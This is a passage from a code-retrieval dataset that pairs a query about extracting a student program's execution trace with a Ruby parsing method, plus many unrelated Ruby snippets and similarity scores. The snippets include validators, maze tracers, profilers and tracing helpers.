"def valid # rubocop:disable Metrics/AbcSize\n errors = []\n warnings = []\n\n %w{name version}.each do |field|\n next unless params[field.to_sym].nil?\n\n errors.push(\"Missing profile #{field} in #{ref}\")\n end\n\n if %r{[\\/\\\\]} =~ params[:name]\n errors.push(\"The profile name (#{params[:name]}) contains a slash\" \\\n \" which is not permitted. Please remove all slashes from `inspec.yml`.\")\n end\n\n # if version is set, ensure it is correct\n if !params[:version].nil? && !valid_version?(params[:version])\n errors.push(\"Version needs to be in SemVer format\")\n end\n\n %w{title summary maintainer copyright license}.each do |field|\n next unless params[field.to_sym].nil?\n\n warnings.push(\"Missing profile #{field} in #{ref}\")\n end\n\n # if license is set, ensure it is in SPDX format or marked as proprietary\n if !params[:license].nil? && !valid_license?(params[:license])\n warnings.push(\"License '#{params[:license]}' needs to be in SPDX format or marked as 'Proprietary'. See https://spdx.org/licenses/.\")\n end\n\n [errors, warnings]\n end",
"def periods_in_school\n if periods.map(&:school_id).any?{|id| id != school_id }\n errors.add(:periods, 'must be in the same school as the student')\n end\n end",
"def literal_validation; end",
"def literal_validation; end",
"def ssn_error_label\n # unit_test_no_generate: ssn_error_label, span.className(create_ats_regex_string(\"ats-ssnerrorlbl\"))\n $tracer.trace(__method__)\n return ToolTag.new(span.className(create_ats_regex_string(\"ats-ssnerrorlbl\")), __method__)\n end",
"def student_only?(sfuid)\n result = roles sfuid\n if result.join(\"\").eql? \"undergrad\"\n return true\n end\n false\n end",
"def compare_scr\n line = Array.new\n @attribute_all.each_value{|const|\n const[1].each{|line,data|\n data.SDC.each{|sdc|\n sdc_tmp = sdc.gsub(\"\\*\",\"\").split[2].slice(2..1000)\n @RPT_ERR.each{|key,err|\n sig_tmp = err.SignalName.gsub(\"\\*\",\"\")\n if err.AttributeName == sdc.split[0] && sig_tmp == sdc_tmp\n data.ConstCheckFlag = 0\n data.SynthesisReport = err.Message\n noapply = Array.new\n noapply << line\n noapply << data.SDC\n noapply << err.Message\n @RPT_ErrorList << noapply\n end\n }\n }if data.SDC != nil\n }\n }\n end",
"def valid?\n !!outcode\n end",
"def must_be_student\n unless current_user.role.name.eql?('Student')\n flash[:error] = \"Access denied.\"\n redirect_to root_url\n end\n end",
"def rollcall_student_required\n if current_user.is_rollcall_epi? || current_user.is_rollcall_health_officer? || current_user.is_rollcall_nurse? ||\n current_user.is_rollcall_admin?\n return true\n else\n redirect_to :action => \"unauthorized\", :controller => 'rollcall/rollcall_app'\n return false\n end\n end",
"def validate_score(raw_score)\n # allow users to skip entering grades\n if raw_score.nil? || raw_score.empty?\n return true\n end\n\n # allow users to enter letter grades\n if mapping_rule.has_key?(raw_score.to_s.upcase)\n return true\n end\n\n # return the grading type\n case grade_type\n when \"points\"\n return validate_points(raw_score)\n when \"weights\"\n return validate_weights(raw_score)\n else\n return false\n end\n end",
"def valid?\n return false if @name.nil?\n return false if @value.nil?\n return false if @timestamp.nil?\n return false if @source_id.nil?\n return false if @source_label.nil?\n return false if @source.nil?\n source_validator = EnumAttributeValidator.new('String', [\"IMPORT\", \"API\", \"FORM\", \"ANALYTICS\", \"MIGRATION\", \"SALESFORCE\", \"INTEGRATION\", \"CONTACTS_WEB\", \"WAL_INCREMENTAL\", \"TASK\", \"EMAIL\", \"WORKFLOWS\", \"CALCULATED\", \"SOCIAL\", \"BATCH_UPDATE\", \"SIGNALS\", \"BIDEN\", \"DEFAULT\", \"COMPANIES\", \"DEALS\", \"ASSISTS\", \"PRESENTATIONS\", \"TALLY\", \"SIDEKICK\", \"CRM_UI\", \"MERGE_CONTACTS\", \"PORTAL_USER_ASSOCIATOR\", \"INTEGRATIONS_PLATFORM\", \"BCC_TO_CRM\", \"FORWARD_TO_CRM\", \"ENGAGEMENTS\", \"SALES\", \"HEISENBERG\", \"LEADIN\", \"GMAIL_INTEGRATION\", \"ACADEMY\", \"SALES_MESSAGES\", \"AVATARS_SERVICE\", \"MERGE_COMPANIES\", \"SEQUENCES\", \"COMPANY_FAMILIES\", \"MOBILE_IOS\", \"MOBILE_ANDROID\", \"CONTACTS\", \"ASSOCIATIONS\", \"EXTENSION\", \"SUCCESS\", \"BOT\", \"INTEGRATIONS_SYNC\", \"AUTOMATION_PLATFORM\", \"CONVERSATIONS\", \"EMAIL_INTEGRATION\", \"CONTENT_MEMBERSHIP\", \"QUOTES\", \"BET_ASSIGNMENT\", \"QUOTAS\", \"BET_CRM_CONNECTOR\", \"MEETINGS\", \"MERGE_OBJECTS\", \"RECYCLING_BIN\", \"ADS\", \"AI_GROUP\", \"COMMUNICATOR\", \"SETTINGS\", \"PROPERTY_SETTINGS\", \"PIPELINE_SETTINGS\", \"COMPANY_INSIGHTS\", \"BEHAVIORAL_EVENTS\", \"PAYMENTS\", \"GOALS\", \"PORTAL_OBJECT_SYNC\", \"APPROVALS\", \"FILE_MANAGER\", \"MARKETPLACE\", \"INTERNAL_PROCESSING\", \"FORECASTING\", \"SLACK_INTEGRATION\", \"CRM_UI_BULK_ACTION\", \"WORKFLOW_CONTACT_DELETE_ACTION\"])\n return false unless source_validator.valid?(@source)\n return false if @selected_by_user.nil?\n return false if @selected_by_user_timestamp.nil?\n return false if @source_vid.nil?\n return false if @source_metadata.nil?\n return false if @request_id.nil?\n true\n end",
"def validate_event; end",
"def validate(entry)\n\tputs \"----------\"\n\tputs entry\n\treturn false if not validate_year(entry[\"byr\"], \"byr\", 1920, 2002)\n\treturn false if not validate_year(entry[\"iyr\"], \"iyr\", 2010, 2020)\n\treturn false if not validate_year(entry[\"eyr\"], \"eyr\", 2020, 2030)\n\treturn false if not validate_hgt(entry[\"hgt\"])\n\treturn false if not validate_color(entry[\"hcl\"])\n\treturn false if not validate_ecl(entry[\"ecl\"])\n\treturn false if not validate_pid(entry[\"pid\"])\n\tputs \"valid\"\n\treturn true\nend",
"def valid?(_) true end",
"def valid?(_) true end",
"def test_sg_not_one\n\n p = Prospector.new(0, 0, 0)\n assert p.sg?(4), 's'\n end",
"def test_validity\r\n assert @valid_skill.valid?\r\n end",
"def check_lbl_2(linen, align)\n case linen\n when 1, 2, 3, 4\n @lineali[linen-1] = align\n end\n retme = \"\"\n return retme\n end",
"def isAdmissionApproved\n ad = Admission.where(student_id: student_id).first\n #ad = Admission.where(\"student_id = #{student_id}\").order(\"created_on DESC\").find(1)\n unless ad.step == \"Approved\" then\n errors.add(:student_id, \"- You must be approved in order to create a billing record.\")\n end\n end",
"def is_informational?\n code.to_i >= 100 && code.to_i <= 199\n end"
] | [
"0.6330288",
"0.5862168",
"0.57931864",
"0.576125",
"0.563359",
"0.55734164",
"0.5561997",
"0.55297774",
"0.55057395",
"0.55027395",
"0.54630727",
"0.5457319",
"0.54275537",
"0.5404678",
"0.5317936",
"0.5298461",
"0.5298271",
"0.52704316",
"0.52692795",
"0.525978",
"0.52491874",
"0.5247253",
"0.52450734",
"0.5236821",
"0.5231667",
"0.52236044",
"0.5213681",
"0.5213681",
"0.52112335",
"0.51970947",
"0.51878595",
"0.51844794",
"0.51777154",
"0.5134434",
"0.5118403",
"0.5114379",
"0.50987446",
"0.50967807",
"0.5091837",
"0.509177",
"0.5089686",
"0.50762105",
"0.50592905",
"0.503879",
"0.503879",
"0.503879",
"0.503879",
"0.503879",
"0.50178075",
"0.50178075",
"0.50178075",
"0.50178075",
"0.5010678",
"0.5010193",
"0.50098395",
"0.5005103",
"0.49992278",
"0.49986604",
"0.4997223",
"0.49959275",
"0.4990842",
"0.4979902",
"0.49795574",
"0.49713314",
"0.49666902",
"0.49573275",
"0.4955489",
"0.4943821",
"0.49436948",
"0.4941411",
"0.4940231",
"0.49388427",
"0.4927682",
"0.49224922",
"0.49210805",
"0.49196887",
"0.4918593",
"0.49170253",
"0.49164596",
"0.4914615",
"0.4911591",
"0.4896804",
"0.48958424",
"0.48958424",
"0.48935503",
"0.489033",
"0.4887343",
"0.4886307",
"0.48844725",
"0.4879081",
"0.4872553",
"0.48714006",
"0.48703396",
"0.4870292",
"0.48688042",
"0.48688042",
"0.48666042",
"0.48617995",
"0.4861575",
"0.4857002",
"0.48531106"
] | 0.0 | -1 |
Extract the execution trace for the student solution only. THis is done by finding the execution trace for the code that is surrounded by startTraceNow and endTraceNow function calls. | def exe_Point_Finder(trace)
symbol_stack = []
other_list = []
top_symbol = ''
exe = ''
exe_point = ' '
on = false
off = false
trace.split('').each do |i|
current_symbol = i
exe_point += current_symbol
if i == '{' or i == '[' or i == '('
symbol_stack << i
elsif i == '}' or i == ')' or i == ']'
if empty?(symbol_stack) == false
top_symbol = symbol_stack.pop
if i == '}' and top_symbol != '{'
next
end
end
elsif i == ','
other_list << exe_point
if symbol_stack.length.zero?
other_list.each do |thing|
exe += thing
end
if exe.include? 'startTraceNow'
on = true
exe = ''
exe_point = ''
other_list = []
elsif exe.include? 'endTraceNow'
off = true
return
else
flag = verify_exe_point(on, off, exe)
on = false if flag == false
exe = ''
exe_point = ''
other_list = []
end
else
exe_point = ''
end
else
next
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def trace(begX, begY, endX, endY)\n if solve(begX, begY, endX, endY)\n node = @tnode\n trace = Array.new\n while node != nil do\n trace.unshift(node.to_S)\n node = node.prev\n end\n\n trace.each do |elem|\n print elem, \" \"\n end\n print \"\\n\"\n else\n puts \"Error! No solution exists.\"\n end\n\n end",
"def dump_caller_stack\n return unless $ITEST2_TRACE_EXECUTION\n begin\n caller.each_with_index do |position, idx|\n next unless position =~ /\\A(.*?):(\\d+)/\n file = $1\n # TODO: send multiple trace to be parse with pages.rb\n # next if file =~ /example\\/example_methods\\.rb$/ or file =~ /example\\/example_group_methods\\.rb$/ or file =~ /driver\\.rb$/ or file =~ /timeout\\.rb$/ # don't include rspec or ruby trace\n\n if file.include?(\"_spec.rb\") || file.include?(\"_test.rb\") || file.include?(\"_cmd.rb\")\n connect_to_itest(\" TRACE\", position)\n end\n\n break if idx > 4 or file =~ /\"_spec\\.rb$/\n end\n rescue => e\n puts \"failed to capture log: #{e}\"\n end\n end",
"def trace (begX, begY, endX, endY)\n solve(begX, begY, endX, endY)\n if @result[0] == false\n puts \"No valid Path\"\n else\n result_trace(@result[1])\n end\n end",
"def trace_step(&block)\n if @trace_execution_steps_counter > 0\n puts \"Trace: \" + yield.to_s\n end\n end",
"def trace(s_x, s_y, e_x, e_y)\r\n\t\tstart = Place.new( s_x, s_y, nil)\r\n\t\tend_p = Place.new(e_x, e_y, nil)\r\n\t\tif check_place(start)&&check_place(end_p)\r\n\t\t\tt = MazeSolver.new(@n, @m, @maze, start, end_p).trace\r\n\t\t\tdisplay(t)\r\n\t\telse puts \"invalid start or end\" end\r\n\tend",
"def trace(begX, begY, endX, endY)\n solve(begX, begY, endX, endY)\n if @maze_trace.empty?\n return\n else\n @maze_trace.each do |i|\n print \"#{i} -> \"\n end\n print \"exit\"\n end\n end",
"def trace(args)\n if solve(args)\n path_stack, current_cell = [], @seen_stack.last\n path_stack.push(current_cell)\n until @seen_stack.empty?\n current_cell = find_steps(current_cell, path_stack)\n end\n path_stack.reverse.each { |cell| print \"-->#{cell} \" }\n puts \"\"\n path_stack\n else nil\n end\n end",
"def seperate_and_filter_trace(junit_test_file,\n files_path,\n peruser_files_path,\n student_file_name)\n code_and_trace = generate_backend_trace(junit_test_file,\n files_path,\n peruser_files_path,\n student_file_name)\n splitter = '\"' + 'trace' + '\"' + ':'\n user_code, whole_trace = code_and_trace.split(splitter)\n\n whole_trace = whole_trace[1..whole_trace.length]\n\n entire_json_file = code_analyzer(user_code, whole_trace)\n\n entire_json_file\nend",
"def main_method(file_path, student_full_code)\n my_test = seperate_and_filter_trace(student_full_code, file_path,\n 'cp/traceprinter/', 'output.txt')\n Dir.chdir('/home')\n #puts my_test\n my_test\nend",
"def trace_execution_steps(&block)\n begin\n @trace_execution_steps_counter += 1\n yield\n ensure\n @trace_execution_steps_counter -= 1\n end\n end",
"def visit_trace(code, ins, local_vars, ln, info)\r\n end",
"def trace(begX, begY, endX, endY); MazeSolver.new(plane,graph).trace(begX, begY, endX, endY) end",
"def __trace(*args, **opt, &block)\n __trace_impl(*args, **opt, &block)\nend",
"def trace_execution_scoped_header(options, t0=Time.now.to_f)\n scope = log_errors(\"trace_execution_scoped header\") do\n push_flag!(options[:force])\n scope = stat_engine.push_scope(:method_tracer, t0, options[:deduct_call_time_from_parent])\n end\n # needed in case we have an error, above, to always return\n # the start time.\n [t0, scope]\n end",
"def trace (begX, begY, endX, endY)\n beg_x = 2 * begY + 1\n beg_y = 2 * begX + 1\n end_x = 2 * endY + 1\n end_y = 2 * endX + 1\n @visit = Array.new(@maze_table.size){Array.new(@maze_table[0].size, false)}\n @track = []\n if scout(beg_x, beg_y, end_x, end_y)\n printf \"it is a path between %s and %s \\n\", [begX, begY], [endX, endY]\n @track.each do |i|\n printf \"Position: (%s, %s)\\n\", (i[1]-1)/2, (i[0]-1)/2 if i[0] % 2 ==1 && i[1] % 2 == 1\n end\n end\n end",
"def get_execution_info; end",
"def trace(begX, begY, endX, endY)\n path,solution = solve(begX, begY, endX, endY)\n if(solution.length != 0)\n solution.each{|x| self.graph[x[0]][x[1]] = '@'}\n puts graph.map { |x| x.join(' ') }\n else\n puts \"There are no way from #{[begX,begY]} to #{[endX,endY]}\"\n end\n end",
"def trace\n set_trace_func proc { |event, _file, _line, id, binding, classname|\n if event == watched && id != :log && classes.include?(classname.to_s)\n vars = variables(binding)\n\n if vars.empty?\n log_this(sprintf(\"%s %-25s #%-20s\",\n class_count, classname, id))\n\n else\n log_this(sprintf(\"%s %-25s #%-20s\\n%s\\n\",\n class_count, classname, id, vars))\n\n end\n end\n } if trace?\n end",
"def tracing()\n #This is a stub, used for indexing\n end",
"def trace *args, &block\n\n\t\treturn nil unless tracing?\n\n\t\ttrace_with_block_ 1, args, &block\n\tend",
"def possibly_add_trace_info_calls(line)\n # If the current line does not start a logical line, don't bother\n if not @state[:ll_start]\n return line\n end\n\n # We will be making decisions based on the first word on the line\n line_words = line.split\n if line_words.empty?\n # The line is empty, so we disregard it\n return line\n end\n first_word = line_words[0]\n\n # Extract first word and check if it makes us want to refrain from adding a line number call\n if KEYWORDS_WITHOUT_LINE_NUMBERS.include?(first_word)\n # It's one of the statements we don't want\n return line\n\n elsif [\"'\", '\"', \"#\"].include?(first_word[0])\n # The line starts with a string or with a comment\n return line\n end\n\n # Do include a line number call\n return \"#{@state[:indent_string]}garbledwebpiratenlibraryname.debug(locals(), globals())\\n\" +\n \"#{@state[:indent_string]}garbledwebpiratenlibraryname.line(#{@state[:line_number]})\\n\" +\n \"#{line}\"\n end",
"def current_trace\n if @@spans.empty?\n nil\n else\n @@spans.slice(-1)\n end\n end",
"def texify exec_trace\n document_text = \"\"\n File.open \"preamble.tex\" do |file|\n while line = file.gets\n document_text += line\n end\n end\n document_text += \"\\\\begin{document}\\n\"\n stages = get_stages exec_trace\n stages.each do |stage|\n document_text += \"\\\\begin{frame}\\n\\n\"\n document_text += state_text stage.i_heap, stage.i_store\n document_text += \"\\n\"\n document_text += \"Current command: \"\n document_text += \"\\\\il{#{stage.text}}\"\n document_text += \"\\n\"\n document_text += \"\\\\vspace{1cm}\\n\\n\"\n document_text += state_text stage.f_heap, stage.f_store\n document_text += \"\\\\end{frame}\"\n document_text += \"\\n\"\n end\n document_text\nend",
"def trace_execution_scoped_footer(t0, first_name, metric_names, expected_scope, options, t1=Time.now.to_f)\n log_errors(\"trace_method_execution footer\") do\n pop_flag!(options[:force])\n if expected_scope\n scope = stat_engine.pop_scope(expected_scope, first_name, t1)\n duration = t1 - t0\n exclusive = duration - scope.children_time\n record_metrics(first_name, metric_names, duration, exclusive, options)\n end\n end\n end",
"def thread_stack_trace(tid)\r\n with_suspended_thread(tid) do\r\n ctx = thread_context(tid)\r\n if((start = read32(ctx.Ebp)) != 0) \r\n a = start\r\n stack = [[start, read32(start+4)]]\r\n while((a = read32(a)) and a != 0 and not stack.member?(a))\r\n begin\r\n stack << [a, read32(a+4)]\r\n rescue; break; end\r\n end\r\n return stack\r\n end\r\n end\r\n []\r\n end",
"def trace( *args )\n\t\tRake.application.trace( *args ) if Rake.application.options.trace\n\tend",
"def stacktrace\n result = caller().reduce([]) do |memo, loc|\n if loc =~ /\\A(.*\\.pp)?:([0-9]+):in\\s(.*)/\n # if the file is not found we set to code\n # and read from Puppet[:code]\n # $3 is reserved for the stacktrace type\n memo << [$1.nil? ? :code : $1, $2.to_i]\n end\n memo\n end.reverse\n end",
"def find_calling_line(trace, method_name)\n trace.each_cons(2) do |line, next_line|\n if /(.*):(\\d+):in .(.*)'/ =~ line && \n $3 == method_name &&\n /(.*):(\\d+):in .(.*)'/ =~ next_line\n return [$1,$2]\n end\n end\n nil\n end",
"def trace!(*methods)\n@_traced = @_traced || []\n# Remember the set of traced methods\n# If no methods were specified, use all public methods defined\n# directly (not inherited) by the class of this object\nmethods = public_methods(false) if methods.size == 0\nmethods.map! {|m| m.to_sym } # Convert any strings to symbols\nmethods -= @_traced\n# Remove methods that are already traced\nreturn if methods.empty?\n# Return early if there is nothing to do\n@_traced |= methods\n# Add methods to set of traced methods\n# Trace the fact that we're starting to trace these methods\nSTDERR << \"Tracing #{methods.join(', ')} on #{object_id}\\n\"\n# Singleton methods are defined in the eigenclass\neigenclass = class << self; self; end\nmethods.each do |m|\n# For each method m\n# Define a traced singleton version of the method m.\n# Output tracing information and use super to invoke the\n# instance method that it is tracing.\n# We want the defined methods to be able to accept blocks, so we\n# can't use define_method, and must instead evaluate a string.\n# Note that everything between %Q{ and the matching } is a\n# double-quoted string, not a block. Also note that there are\n# two levels of string interpolations here. #{} is interpolated\n# when the singleton method is defined. And \\#{} is interpolated\n# when the singleton method is invoked.\neigenclass.class_eval %Q{\ndef #{m}(*args, &block)\nbegin\nSTDERR << \"Entering: #{m}(\\#{args.join(', ')})\\n\"\nresult = super\nSTDERR << \"Exiting: #{m} with \\#{result}\\n\"\nresult\nrescue\nSTDERR << \"Aborting: #{m}: \\#{$!.class}: \\#{$!.message}\"\nraise\nend\nend\n}\nend\nend",
"def code_splitter(code)\n student_code = []\n code = code.split('startTraceNow();')\n new_code = code[1].split('endTraceNow();')\n executed_code = new_code[0]\n executed_code_list = executed_code.split('\\\\n')\n flag = false\n counter = 0\n until flag\n if executed_code_list[counter] == '' || executed_code_list[counter] == ' '\n flag = false\n counter += 1\n elsif executed_code_list[counter] != ''\n flag = true\n end\n end\n x = counter\n while x < executed_code_list.length\n temp = executed_code_list[x]\n temp = temp.strip\n student_code << executed_code_list[x] unless temp.empty?\n\n x += 1\n end\n student_code\nend",
"def build_trace\n if with_bt_set?\n Backtrace.to_s(@with_bt + [first_filtered_bt_line(backtrace)])\n else\n src_line\n end\n end",
"def stack_trace; end",
"def push_trace_execution_flag(should_trace = false) # THREAD_LOCAL_ACCESS\n Tracer.state.push_traced(should_trace)\n end",
"def trace\n attributes.fetch(:trace)\n end",
"def debug_final_report\n\t\t\tsuper\n\t\t\tif @debug_level > 0\n\t puts \"Lowest OLD: \\t#{@lowest_old[0].to_a}\"\n\t puts \"Angle: \\t\\t#{@get_angle.(@current_point, @start_vector)}\"\n\t\t\tend\n\t\tend",
"def filter_trace(params)\n trace = {}\n trace['stack'] = {}\n trace['stack']['ordered_variable_names'] = params[0]\n trace['stack']['encoded_locals'] = {}\n params[1].each_pair do |key, value|\n trace['stack']['encoded_locals'][key] = value\n end\n trace['heap'] = {}\n params[2].each_pair do |key, value|\n trace['heap'][key] = value if value.is_a?(Array) && value.length > 2\n end\n trace['code'] = params[3]\n trace['lineNumber'] = params[4]\n trace\n end",
"def caller\n %x{\n function getErrorObject(){\n try { throw Error('') } catch(err) { return err; }\n }\n\n\n var err = getErrorObject();\n }\n stack = `err.stack`\n caller_lines = stack.split(\"\\n\")[4..-1]\n caller_lines.reject! { |l| l.strip.empty? }\n\n result_formatter = lambda do |filename, line, method=nil|\n \"#{filename}:#{line} in `(#{method ? method : 'unknown method'})'\"\n end\n\n caller_lines.map do |raw_line|\n if match = /\\s*at (.*) \\((\\S+):(\\d+):\\d+/.match(raw_line)\n method, filename, line = match.captures\n result_formatter[filename, line, method]\n elsif match = /\\s*at (\\S+):(\\d+):\\d+/.match(raw_line)\n filename, line = match.captures\n result_formatter[filename, line]\n # catch phantom/no 2nd line/col #\n elsif match = /\\s*at (.*) \\((\\S+):(\\d+)/.match(raw_line)\n method, filename, line = match.captures\n result_formatter[filename, line, method]\n elsif match = /\\s*at (.*):(\\d+)/.match(raw_line)\n filename, line = match.captures\n result_formatter[filename, line]\n # Firefox - Opal.modules[\"rspec/core/metadata\"]/</</</</def.$populate@http://192.168.59.103:9292/assets/rspec/core/metadata.self.js?body=1:102:13\n elsif match = /(.*?)@(\\S+):(\\d+):\\d+/.match(raw_line)\n method, filename, line = match.captures\n result_formatter[filename, line, method]\n # webkit - http://192.168.59.103:9292/assets/opal/rspec/sprockets_runner.js:45117:314\n elsif match = /(\\S+):(\\d+):\\d+/.match(raw_line)\n filename, line = match.captures\n result_formatter[filename, line]\n else\n \"#{filename}:-1 in `(can't parse this stack trace)`\"\n end\n end\n end",
"def outputResultsVerbose tracer, input\n rotationTest = (tracer.length/2).to_i\n standingAt = -1\n (0..(tracer.length-1)).each do |posit|\n if standingAt == -1\n p \"Start with the \" + input[tracer[posit]] + \" at position \" + tracer[posit].to_s\n standingAt = tracer[posit]\n else\n dir = 1\n move = tracer[posit] - standingAt\n if move < 0\n move *= -1\n\tdir = -1\n end\n if move > rotationTest\n\tmove = (tracer.length - move)\n dir *= -1\n end\n dirWords = (dir == 1 ? \"clockwise\" : \"counterclockwise\")\n p \"Move \" + move.to_s + \" steps \" + dirWords + \" to the \" + input[tracer[posit]] + \" (position \" + tracer[posit].to_s+ \")\"\n standingAt = tracer[posit]\n end\n end\nend",
"def trace_context\n ensure_exists!\n trace.trace_context.with span_id: span_id\n end",
"def profile_stats(outname=\"/#{__FILE__[0...-3]}\",outdir=\"\")\n require 'profile'\n Profiler__.stop_profile # Leave setup out of stats\n\n at_exit do\n Profiler__.stop_profile\n RDL.contract_switch.off {\n puts \"START.\"\n puts \"Performing Profile Analysis\"\n # Class Name => [Times Contract Called | Times Called | Time | Time | Class Profile]\n # Implications:\n # [nil] -> Method exists in object space, but not used\n # [-1] -> Contract exists for method, but method not profiled\n # [-1, ...] -> Method profiled, but no contract exists\n totals = {}\n\n puts \"Retrieving Profiler Data\"\n Profiler__.class_variable_get(:@@maps).values.each do |threadmap|\n threadmap.each do |key, data|\n total_data = (totals[key.to_s] ||= [-1, 0, 0.0, 0.0, key])\n total_data[1] += data[0]\n total_data[2] += data[1]\n total_data[3] += data[2]\n end\n end\n\n puts \"Scanning Object Space\"\n kls = []\n ObjectSpace.each_object { |obj|\n if kls.include? obj.class then\n next\n end\n kls << obj.class\n mthds = obj.public_methods(false) + obj.private_methods(false) + obj.protected_methods(false)\n puts \"Class #{obj.class}\"\n mthds.each{ |mthd|\n puts \" :#{mthd}\"\n totals[\"#{obj.class}::#{mthd.to_s}\".gsub('::','#')] ||= [nil] unless mthd.to_s =~ /new/\n }\n }\n\n p \"Scanning RDL Contract Log\"\n RDL.wrapped_calls.each{ |mname,ct|\n if (totals[mname]) then\n if (totals[mname][0]) then\n totals[mname][0] = ct\n else\n totals[mname][0] = -1\n end\n end\n }\n\n puts \"Analyzing Statistics\"\n filtered = {}\n totals.each{ |k,v|\n if (not (k=~/(rdl)|(RDL)/)) and (v[0].nil? or v[0]==-1) then filtered[k]=v end\n }\n\n puts \"Writing Output\"\n require 'json'\n fpath = \"#{outdir}/#{outname}_rdlstat.json\".gsub('//','')\n File.open(fpath,'w') do |file|\n file.puts \"POTENTIAL PROBLEMS\"\n filtered.each{ |k,v|\n begin\n k =~ /((?:.+\\#)*)(.+)/\n x = $1[0...-1] # Store $1 and $2 before overriden\n y = $2\n if (x =~ /\\<Class\\:/) then\n puts \"Cannot evaluate user-defined class #{x}\"\n else\n kls = eval x.gsub('#','::')\n mthds = kls.public_methods(false) + kls.protected_methods(false) # Ignoring private methods\n if (mthds.include? y.to_sym)\n file.printf \"%-20s %-s\", k, v.to_s\n file.puts \"\"\n else\n puts \"Ignoring inheritance problem for #{k}\"\n end\n end\n rescue\n end\n }\n file.puts \" \"\n file.puts \"JSON OBJECT\"\n file.puts totals.to_json\n end\n puts \"DONE.\"\n }\n end\n\n Profiler__.start_profile # Restart profiler after setup\n end",
"def stack_trace\n trace = @context_stack.reverse.map do |context|\n next if context.context_type == :base\n ['Line', context.line_number.to_s, 'in', context.context_type.to_s, context.path, context.name, ':', context.line].compact.join(' ')\n end.compact\n if stacked? && expanded_lines && expanded_lines.size > 1\n trace.unshift ['Line', expanded_line_number, 'in', 'request expansion', ':', expanded_line].join(' ')\n end\n trace\n end",
"def get_trace trace_id\n ensure_service!\n service.get_trace trace_id\n end",
"def trace\n DSL.new(@source.append(Trace.new))\n end",
"def code_analyzer(code, first_trace)\n code_to_viz = code_splitter(code)\n trace_analyzer = TraceAnalyzer.new\n trace_analyzer.handle_everything(code_to_viz, first_trace)\nend",
"def location e # :nodoc:\n last_before_assertion = \"\"\n e.backtrace.reverse_each do |s|\n break if s =~ /in .(assert|refute|flunk|pass|fail|raise|must|wont)/\n last_before_assertion = s\n end\n file, line = last_before_assertion.sub(/:in .*$/, '').split(':')\n line = line.to_i if line\n return file, line\n end",
"def pop_trace_execution_flag # THREAD_LOCAL_ACCESS\n Tracer.state.pop_traced\n end",
"def trace\n `#{@native}.trace()`\n end",
"def stack_trace=(_arg0); end",
"def __trace_impl(*args, **opt, &block)\n opt[:no_log] = true unless opt.key?(:no_log)\n __output_impl(*args, **opt, &block)\nend",
"def current_trace_id\n if @@spans.empty?\n nil\n else\n @@spans.slice(-1).trace_id\n end\n end",
"def trace!\n request! :trace\n end",
"def stacktrace_includes=(_arg0); end",
"def begin_investigation(processed_source); end",
"def location(exception)\n last_before_assertion = ''\n exception.backtrace.reverse_each do |s|\n break if s =~ /in .(assert|refute|flunk|pass|fail|raise|must|wont)/\n last_before_assertion = s\n end\n last_before_assertion.sub(/:in .*$/, '')\n end",
"def debug_final_report\n case\n when @debug_level > 0\n puts \"\\nSuccess at: \\t#{@current_point.to_a}\"\n ptus \"Cost: \\t\\t#{@current_cost}\"\n end\n end",
"def stacktrace; end",
"def behavior_trace\n if @behavior\n puts @behavior.send(:ancestors).reverse.map{|a| a.inspect}.join(\"\\n\"); puts @behavior.inspect; puts\n else\n puts \"No behavior to trace #{self}\"\n end\n end",
"def trace(text = \"\")\n puts text\n end",
"def send_trace(event)\n assert_permissions(event, ['ntracer'])\n raise OutteError.new \"Sorry, tracing is disabled.\" if !FEATURE_NTRACE\n wait_msg = event.send_message(\"Queued...\") if $mutex[:ntrace].locked?\n $mutex[:ntrace].synchronize do\n wait_msg.delete if !wait_msg.nil?\n level = parse_highscoreable(event.content, mappack: true)\n raise OutteError.new \"Episodes and columns can't be traced\" if !level.is_a?(Levelish)\n map = !level.is_a?(Map) ? MappackLevel.find_by(id: level.id) : level\n raise OutteError.new \"Level data not found\" if map.nil?\n map.trace(event)\n end\nrescue => e\n lex(e, \"Error performing trace.\", event: event)\nend",
"def set_trace_func(p0) end",
"def generate_backend_trace(junit_test_file,\n files_path,\n peruser_files_path,\n student_file_name)\n raw_code = junit_test_file\n raw_code.gsub! \"\\n\", \"\\\\n\" + \"\\n\"\n raw_code.gsub! \"\\t\", \"\\\\t\"\n lines = raw_code.split(\"\\n\")\n jUnit_test = ''\n lines.each { |line| jUnit_test += line}\n jUnit_test.gsub!('\\\"', \"\\\\\" + '\\\"')\n student_file = File.open(File.join(File.dirname(File.expand_path(__FILE__)),\n peruser_files_path,\n student_file_name), 'w+')\n full_string = '{' + \"\\n\" + '\"' + 'usercode' + '\"' + ':' + '\"' + jUnit_test +\n '\"' + ',' + \"\\n\" + '\"' + 'options' + '\"' + ':' + '{' + '}' \\\n ',' + \"\\n\" + '\"' + 'args' + '\"' + ':' + '[' + ']' + ',' \\\n \"\\n\" + '\"' + 'stdin' + '\"' + ':' + '\"' + '\"' + \"\\n\" + '}'\n student_file.puts(full_string)\n student_file.close\n output = `java -cp .:cp:cp/javax.json-1.0.4.jar:java/tools.jar traceprinter.InMemory < cp/traceprinter/output.txt` # the shell command\n output\nend",
"def call(trace)\n trace.spans.each do |span|\n @operation.call(span) rescue next\n end\n\n trace\n end",
"def steps\n find_solution\n end",
"def log_start_or_continue(name, kvs = {}, incoming_context = {})\n return unless ::Instana.agent.ready?\n self.current_trace = ::Instana::Trace.new(name, kvs, incoming_context)\n end",
"def backtrace_includes=(_arg0); end",
"def trace(*args)\n Trace.(self, *args)\n end",
"def trace(*args)\n Trace.(self, *args)\n end",
"def source_location\n if @file.nil?\n args =[*(1..(arity<-1 ? -arity-1 : arity ))]\n\n set_trace_func method(:trace_func).to_proc\n call(*args) rescue nil\n set_trace_func nil\n @file = File.expand_path(@file) if @file && File.exist?(File.expand_path(@file))\n end\n [@file, @line] if @file\n end",
"def backtrace_includes; end",
"def trace_execution_unscoped(metric_names, options={})\n return yield unless NewRelic::Agent.is_execution_traced?\n t0 = Time.now\n begin\n NewRelic::Agent.instance.push_trace_execution_flag(true) if options[:force]\n yield\n ensure\n NewRelic::Agent.instance.pop_trace_execution_flag if options[:force]\n duration = (Time.now - t0).to_f # for some reason this is 3 usec faster than Time - Time\n stat_engine.record_metrics(metric_names, duration)\n end\n end",
